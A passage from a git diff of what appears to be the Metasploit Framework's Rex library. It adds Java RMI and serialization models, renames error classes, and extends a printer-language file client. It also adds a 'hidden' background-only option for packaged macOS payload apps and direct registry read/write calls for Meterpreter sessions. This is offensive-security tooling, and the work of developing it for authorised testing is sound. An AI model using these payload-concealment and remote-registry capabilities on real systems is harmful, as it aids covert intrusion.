:plist_extra ('') some extra data to shove inside the Info.plist file # @return [String] zip archive containing an OSX .app directory def self.to_osx_app(exe, opts = {}) - exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) - app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) - plist_extra = opts[:plist_extra] || '' + exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } + app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } + hidden = opts.fetch(:hidden, true) + plist_extra = opts.fetch(:plist_extra, '') app_name.chomp!(".app") app_name += ".app" + visible_plist = if hidden + %Q| + <key>LSBackgroundOnly</key> + <string>1</string> + | + else + '' + end + info_plist = %Q| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> @@ -754,7 +765,7 @@ def self.to_osx_app(exe, opts = {}) <key>CFBundleIdentifier</key> <string>com.#{exe_name}.app</string> <key>CFBundleName</key> - <string>#{exe_name}</string> + <string>#{exe_name}</string>#{visible_plist} <key>CFBundlePackageType</key> <string>APPL</string> #{plist_extra} diff --git a/lib/rex/elfparsey/exceptions.rb b/lib/rex/elfparsey/exceptions.rb index 968ddb6c4a56..9f0ea0ed03aa 100644 --- a/lib/rex/elfparsey/exceptions.rb +++ b/lib/rex/elfparsey/exceptions.rb @@ -18,7 +18,7 @@ class ProgramHeaderError < ParseError class BoundsError < ElfError end -class WtfError < ElfError +class ElfParseyError < ElfError end end diff --git a/lib/rex/elfscan/scanner.rb b/lib/rex/elfscan/scanner.rb index 1bd5427bffac..989418d8afad 100644 --- a/lib/rex/elfscan/scanner.rb +++ b/lib/rex/elfscan/scanner.rb @@ -94,7 +94,7 @@ def _ret_size(offset) return 3 end - raise "wtf" + raise "Cannot read at offset: #{offset}" end def _parse_ret(data) @@ -136,7 +136,7 @@ def scan_segment(program_header, param={}) message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize)) offset += 2 + retsize else - raise "wtf" + raise "Unexpected value at #{offset}" end else regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 983e8472e866..0761c15fdbd5 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,4 +51,5 @@ module Serialization end end -require 'rex/java/serialization/model' \ No newline at end of file +require 'rex/java/serialization/model' +require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb new file mode 100644 index 000000000000..c9e69c26a5fb --- /dev/null +++ b/lib/rex/java/serialization/builder.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + # This class provides a builder to help in the construction of + # Java serialized contents. + class Builder + + # Creates a Rex::Java::Serialization::Model::NewArray + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [String] :values_type + # @option opts [Array] :values + # @return [Rex::Java::Serialization::Model::NewArray] + # @see #new_class + def new_array(opts = {}) + class_desc = opts[:description] || new_class(opts) + type = opts[:values_type] || '' + values = opts[:values] || [] + + array = Rex::Java::Serialization::Model::NewArray.new + array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + array.array_description.description = class_desc + array.type = type + array.values = values + + array + end + + # Creates a Rex::Java::Serialization::Model::NewObject + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [Array] :data + # @return [Rex::Java::Serialization::Model::NewObject] + # @see #new_class + def new_object(opts = {}) + class_desc = opts[:description] || new_class(opts) + data = opts[:data] || [] + + object = Rex::Java::Serialization::Model::NewObject.new + object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + object.class_desc.description = class_desc + object.class_data = data + + object + end + + # Creates a Rex::Java::Serialization::Model::NewClassDesc + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [String] :name + # @option opts [Fixnum] :serial + # @option opts [Fixnum] :flags + # @option opts [Array] :fields + # @option opts [Array] :annotations + # @option opts [Rex::Java::Serialization::Model::Element] :super_class + # @return [Rex::Java::Serialization::Model::NewClassDesc] + def new_class(opts = {}) + class_name = opts[:name] || '' + serial_version = opts[:serial] || 0 + flags = opts[:flags] || 2 + fields = opts[:fields] || [] + annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new] + super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new + + class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) + class_desc.serial_version = serial_version + class_desc.flags = flags + class_desc.fields = [] + + fields.each do |f| + field = Rex::Java::Serialization::Model::Field.new + field.type = f[0] + field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] + class_desc.fields << field + end + + class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc.class_annotation.contents = annotations + class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + class_desc.super_class.description = super_class + + class_desc + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index d6e245c73cfc..c2ab0630a875 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -109,6 +109,11 @@ def array_type desc = array_description.description + if desc.class == Reference + ref = desc.handle - BASE_WIRE_HANDLE + desc = stream.references[ref] + end + unless desc.class_name.contents[0] == '[' # Array raise ::RuntimeError, 'Unsupported NewArray description' end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index 1212c2faecf8..c665ebb59368 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -66,9 +66,9 @@ def decode(io) # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) && - class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) && - super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc) + unless class_name.class == Rex::Java::Serialization::Model::Utf || + class_annotation.class == Rex::Java::Serialization::Model::Annotation || + super_class.class == Rex::Java::Serialization::Model::ClassDesc raise ::RuntimeError, 'Filed to serialize NewClassDesc' end encoded = '' diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index b327800089dd..cbd6f79761ac 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -95,8 +95,13 @@ def to_s def decode_class_data(io, my_class_desc) values = [] - unless my_class_desc.super_class.description.kind_of?(NullReference) - values += decode_class_data(io, my_class_desc.super_class.description) + unless my_class_desc.super_class.description.class == NullReference + if my_class_desc.super_class.description.class == Reference + ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE + values += decode_class_data(io, stream.references[ref]) + else + values += decode_class_data(io, my_class_desc.super_class.description) + end end values += decode_class_fields(io, my_class_desc) diff --git a/lib/rex/machparsey/exceptions.rb b/lib/rex/machparsey/exceptions.rb index b5a4d840fee4..f7bbad9e4162 100644 --- a/lib/rex/machparsey/exceptions.rb +++ b/lib/rex/machparsey/exceptions.rb @@ -18,9 +18,6 @@ class ProgramHeaderError < MachParseError class BoundsError < MachError end -#class WtfError < MachError -#end - class FatError < ::RuntimeError end diff --git a/lib/rex/machscan/scanner.rb b/lib/rex/machscan/scanner.rb index 203d1e4c972e..b1d9aaa5e451 100644 --- a/lib/rex/machscan/scanner.rb +++ b/lib/rex/machscan/scanner.rb @@ -125,7 +125,7 @@ def scan_segment(segment, param={}) message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize)) offset += 2 + retsize else - raise "wtf" + raise "Unexpected value at offset: #{offset}" end else regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) diff --git a/lib/rex/peparsey/exceptions.rb b/lib/rex/peparsey/exceptions.rb index 0a138d0e8672..c2725614fc15 100644 --- a/lib/rex/peparsey/exceptions.rb +++ b/lib/rex/peparsey/exceptions.rb @@ -21,7 +21,7 @@ class OptionalHeaderError < ParseError class BoundsError < PeError end -class WtfError < PeError +class PeParseyError < PeError end class SkipError < PeError diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index 230b66a19289..6dc766820771 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -1196,7 +1196,7 @@ def rva_to_file_offset(rva) return section.rva_to_file_offset(rva) end end - raise WtfError, "wtf!", caller + raise PeParseyError, "No section contains RVA", caller end def vma_to_file_offset(vma) @@ -1205,7 +1205,7 @@ def vma_to_file_offset(vma) def file_offset_to_rva(foffset) if foffset < 0 - raise WtfError, "lame", caller + raise PeParseyError, "Offset should not be less than 0. The value is: #{foffset}", caller end all_sections.each do |section| @@ -1214,7 +1214,7 @@ def file_offset_to_rva(foffset) end end - raise WtfError, "wtf! #{foffset}", caller + raise PeParseyError, "No section contains file offset #{foffset}", caller end def file_offset_to_vma(foffset) @@ -1245,7 +1245,7 @@ def find_section_by_rva(rva) section = _find_section_by_rva(rva) if !section - raise WtfError, "Cannot find rva! #{rva}", caller + raise PeParseyError, "Cannot find rva! #{rva}", caller end return section diff --git a/lib/rex/pescan/search.rb b/lib/rex/pescan/search.rb index 530c5503d29e..2e415731ecb5 100644 --- a/lib/rex/pescan/search.rb +++ b/lib/rex/pescan/search.rb @@ -30,7 +30,7 @@ def scan(param) begin buf = pe.read_rva(@address, suf) - rescue ::Rex::PeParsey::WtfError + rescue ::Rex::PeParsey::PeParseyError return end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 2a9583ee553f..4a451c9fe4d7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -89,7 +89,6 @@ def Registry.open_remote_key(target_host, root_key) request.add_tlv(TLV_TYPE_TARGET_HOST, target_host) request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) - response = client.send_request(request) return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new( @@ -166,6 +165,24 @@ def Registry.enum_key(hkey) return keys end + def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_key_direct') + keys = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + # Enumerate through all of the registry keys + response.each(TLV_TYPE_KEY_NAME) do |key_name| + keys << key_name.value + end + + keys + end + ## # # Registry value interaction @@ -195,10 +212,55 @@ def Registry.set_value(hkey, name, type, data) return true end + def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE) + request = Packet.create_request('stdapi_registry_set_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + request.add_tlv(TLV_TYPE_VALUE_TYPE, type) + + if type == REG_SZ + data += "\x00" + elsif type == REG_DWORD + data = [data.to_i].pack('V') + end + + request.add_tlv(TLV_TYPE_VALUE_DATA, data) + + response = client.send_request(request) + + true + end + # # Queries the registry value supplied in name and returns an # initialized RegistryValue instance if a match is found. # + def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_query_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + + response = client.send_request(request) + + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + + if type == REG_SZ + data = data[0..-2] + elsif type == REG_DWORD + data = data.unpack('N')[0] + end + + Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, name, type, data) + end + def Registry.query_value(hkey, name) request = Packet.create_request('stdapi_registry_query_value') @@ -207,8 +269,8 @@ def Registry.query_value(hkey, name) response = client.send_request(request) - data = response.get_tlv(TLV_TYPE_VALUE_DATA).value; - type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value; + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value if (type == REG_SZ) data = data[0..-2] @@ -272,6 +334,24 @@ def Registry.enum_value(hkey) return values end + def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_value_direct') + values = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + response.each(TLV_TYPE_VALUE_NAME) do |value_name| + values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, value_name.value) + end + + values + end + # # Return the key value associated with the supplied string. This is useful # for converting HKLM as a string into its actual integer representation. diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index dbfd86c47e7e..8696fcd5ea12 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -6,6 +6,7 @@ require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' +require 'rex/proto/rmi' module Rex module Proto diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index ca0ed82ec857..d969d2a47b2b 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -81,7 +81,6 @@ class Server "htm" => "text/htm", "jpg" => "image/jpeg", "jpeg" => "image/jpeg", - "jpeg" => "image/jpeg", "gif" => "image/gif", "png" => "image/png", "bmp" => "image/bmp", diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb index 172cb42dca74..12f8965535f8 100644 --- a/lib/rex/proto/pjl.rb +++ b/lib/rex/proto/pjl.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- + # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec @@ -25,7 +26,10 @@ module Info RDYMSG = "#{PREFIX} RDYMSG" FSINIT = "#{PREFIX} FSINIT" + FSQUERY = "#{PREFIX} FSQUERY" FSDIRLIST = "#{PREFIX} FSDIRLIST" FSUPLOAD = "#{PREFIX} FSUPLOAD" + FSDOWNLOAD = "#{PREFIX} FSDOWNLOAD" + FSDELETE = "#{PREFIX} FSDELETE" end diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb index 268a0768efcd..66902b2b414c 100644 --- a/lib/rex/proto/pjl/client.rb +++ b/lib/rex/proto/pjl/client.rb @@ -1,12 +1,11 @@ # -*- coding: binary -*- + # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec module Rex::Proto::PJL class Client - attr_reader :sock - def initialize(sock) @sock = sock end @@ -117,19 +116,39 @@ def fsinit(volume) @sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n}) end + # Query a file + # + # @param path [String] Remote path + # @return [Boolean] True if file exists + def fsquery(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + file = false + + @sock.put(%Q{#{FSQUERY} NAME = "#{path}"\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /TYPE=(FILE|DIR)/m + file = true + end + + file + end + # List a directory # - # @param pathname [String] Pathname + # @param path [String] Remote path # @param count [Fixnum] Number of entries to list # @return [String] Directory listing - def fsdirlist(pathname, count = COUNT_MAX) - if pathname !~ /^[0-2]:/ - raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + def fsdirlist(path, count = COUNT_MAX) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" end listing = nil - @sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n}) + @sock.put(%Q{#{FSDIRLIST} NAME = "#{path}" ENTRY=1 COUNT=#{count}\n}) if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m listing = $1 @@ -140,17 +159,16 @@ def fsdirlist(pathname, count = COUNT_MAX) # Download a file # - # @param pathname [String] Pathname - # @param size [Fixnum] Size of file + # @param path [String] Remote path # @return [String] File as a string - def fsupload(pathname, size = SIZE_MAX) - if pathname !~ /^[0-2]:/ - raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + def fsupload(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" end file = nil - @sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n}) + @sock.put(%Q{#{FSUPLOAD} NAME = "#{path}" OFFSET=0 SIZE=#{SIZE_MAX}\n}) if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m file = $1 @@ -159,5 +177,41 @@ def fsupload(pathname, size = SIZE_MAX) file end + # Upload a file + # + # @param lpath [String] Local path + # @param rpath [String] Remote path + # @return [Boolean] True if the file was uploaded + def fsdownload(lpath, rpath) + if rpath !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + file = File.read(lpath) + + @sock.put( + %Q{#{FSDOWNLOAD} FORMAT:BINARY SIZE=#{file.length} NAME = "#{rpath}"\n} + ) + + @sock.put(file) + @sock.put(UEL) + + fsquery(rpath) + end + + # Delete a file + # + # @param path [String] Remote path + # @return [Boolean] True if the file was deleted + def fsdelete(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + @sock.put(%Q{#{FSDELETE} NAME = "#{path}"\n}) + + !fsquery(path) + end + end end diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb new file mode 100644 index 000000000000..74505c57f26b --- /dev/null +++ b/lib/rex/proto/rmi.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +# JAVA RMI Wire protocol implementation +# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html + +require 'rex/proto/rmi/model' + diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb new file mode 100644 index 000000000000..3166506d87d8 --- /dev/null +++ b/lib/rex/proto/rmi/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + SIGNATURE = 'JRMI' + STREAM_PROTOCOL = 0x4b + SINGLE_OP_PROTOCOL = 0x4c + MULTIPLEX_PROTOCOL = 0x4d + CALL_MESSAGE = 0x50 + PING_MESSAGE = 0x52 + DGC_ACK_MESSAGE = 0x54 + PROTOCOL_ACK = 0x4e + PROTOCOL_NOT_SUPPORTED = 0x4f + RETURN_DATA = 0x51 + PING_ACK = 0x53 + end + end + end +end + +require 'rex/proto/rmi/model/element' +require 'rex/proto/rmi/model/output_header' +require 'rex/proto/rmi/model/protocol_ack' +require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_data' +require 'rex/proto/rmi/model/dgc_ack' +require 'rex/proto/rmi/model/ping' +require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb new file mode 100644 index 000000000000..120ee8a8fe5f --- /dev/null +++ b/lib/rex/proto/rmi/model/call.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI call message + class Call < Element + + # @!attribute message_id + # @return [Fixnum] the message id + attr_accessor :message_id + # @!attribute call_data + # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + attr_accessor :call_data + + private + + # Reads the message id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the message id + def decode_message_id(io) + message_id = read_byte(io) + unless message_id == CALL_MESSAGE + raise ::RuntimeError, 'Failed to decode Call message id' + end + + message_id + end + + # Reads and deserializes the call data from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_call_data(io) + call_data = Rex::Java::Serialization::Model::Stream.decode(io) + + call_data + end + + # Encodes the message_id field + # + # @return [String] + def encode_message_id + [message_id].pack('C') + end + + # Encodes the address field + # + # @return [String] + def encode_call_data + call_data.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/continuation.rb b/lib/rex/proto/rmi/model/continuation.rb new file mode 100644 index 000000000000..e7e801c4ad4a --- /dev/null +++ b/lib/rex/proto/rmi/model/continuation.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI continuation stream + class Continuation < Element + + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb new file mode 100644 index 000000000000..ab1eee988990 --- /dev/null +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement + # directed to a server's distributed garbage collector that indicates that remote objects + # in a return value from a server have been received by the client. + class DgcAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute unique_identifier + # @return [String] the unique identifier + attr_accessor :unique_identifier + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == DGC_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DgcAck stream id' + end + + stream_id + end + + # Reads the unique identifier from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_unique_identifier(io) + unique_identifier = read_string(io, 14) + + unique_identifier + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the unique_identifier field + # + # @return [String] + def encode_unique_identifier + unique_identifier + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb new file mode 100644 index 000000000000..60a6bbf4816b --- /dev/null +++ b/lib/rex/proto/rmi/model/element.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + class Element + + include Rex::Proto::Rmi::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + # Creates a Rex::Proto::Rmi::Model::Element with data from the IO. + # + # @param io [IO] the IO to read data from + # @return [Rex::Proto::Rmi::Model::Element] + def self.decode(io) + elem = self.new + elem.decode(io) + + elem + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Rmi::Model::Element from the input. + # + # @raise [NoMethodError] + # @return [Rex::Proto::Rmi::Model::Element] + def decode(io) + self.class.attributes.each do |attr| + dec_method = ("decode_#{attr}").to_sym + decoded = self.send(dec_method, io) + assign_method = (attr.to_s + '=').to_sym + self.send(assign_method, decoded) + end + + self + end + + # Encodes the Rex::Proto::Rmi::Model::Element into an String. + # + # @raise [NoMethodError] + # @return [String] + def encode + encoded = '' + self.class.attributes.each do |attr| + m = ("encode_#{attr}").to_sym + encoded << self.send(m) if self.send(attr) + end + + encoded + end + + private + + # Reads a byte from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the byte can't be read from io + def read_byte(io) + raw = io.read(1) + raise ::RuntimeError, 'Failed to read byte' unless raw + + raw.unpack('C')[0] + end + + # Reads a two bytes short from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the short can't be read from io + def read_short(io) + raw = io.read(2) + + unless raw && raw.length == 2 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('n')[0] + end + + # Reads a four bytes int from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the int can't be read from io + def read_int(io) + raw = io.read(4) + + unless raw && raw.length == 4 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('N')[0] + end + + # Reads an string from an IO + # + # @param io [IO] the IO to read from + # @param length [Fixnum] the string length + # @return [String] + # @raise [RuntimeError] if the string can't be read from io + def read_string(io, length) + raw = io.read(length) + + unless raw && raw.length == length + raise ::RuntimeError, 'Failed to read string' + end + + raw + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb new file mode 100644 index 000000000000..dae28e89b6f6 --- /dev/null +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI output stream header + class OutputHeader < Element + + # @!attribute signature + # @return [String] the Java RMI header signature + attr_accessor :signature + # @!attribute version + # @return [Fixnum] the Java RMI version + attr_accessor :version + # @!attribute protocol + # @return [Fixnum] the protocol where the the messages are wrapped within + attr_accessor :protocol + + private + + # Reads the signature from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode signature + def decode_signature(io) + signature = read_string(io, 4) + unless signature == SIGNATURE + raise ::RuntimeError, 'Failed to decode OutputHeader signature' + end + + signature + end + + # Reads the version from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_version(io) + version = read_short(io) + + version + end + + # Reads the protocol from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if fails to decode the protocol + def decode_protocol(io) + valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] + protocol = read_byte(io) + + unless valid_protocols.include?(protocol) + raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + end + + protocol + end + + # Encodes the signature field + # + # @return [String] + def encode_signature + signature + end + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the protocol field + # + # @return [String] + def encode_protocol + [protocol].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb new file mode 100644 index 000000000000..c0406b3ae2ba --- /dev/null +++ b/lib/rex/proto/rmi/model/ping.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI Ping stream. A Ping is a message for testing + # livereness of a remote virtual machine. + class Ping < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_MESSAGE + raise ::RuntimeError, 'Failed to decode Ping stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb new file mode 100644 index 000000000000..db0131b42a09 --- /dev/null +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement + # for a Ping message. + class PingAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_ACK + raise ::RuntimeError, 'Failed to decode PingAck stream id' + end + + stream_id + end + + # 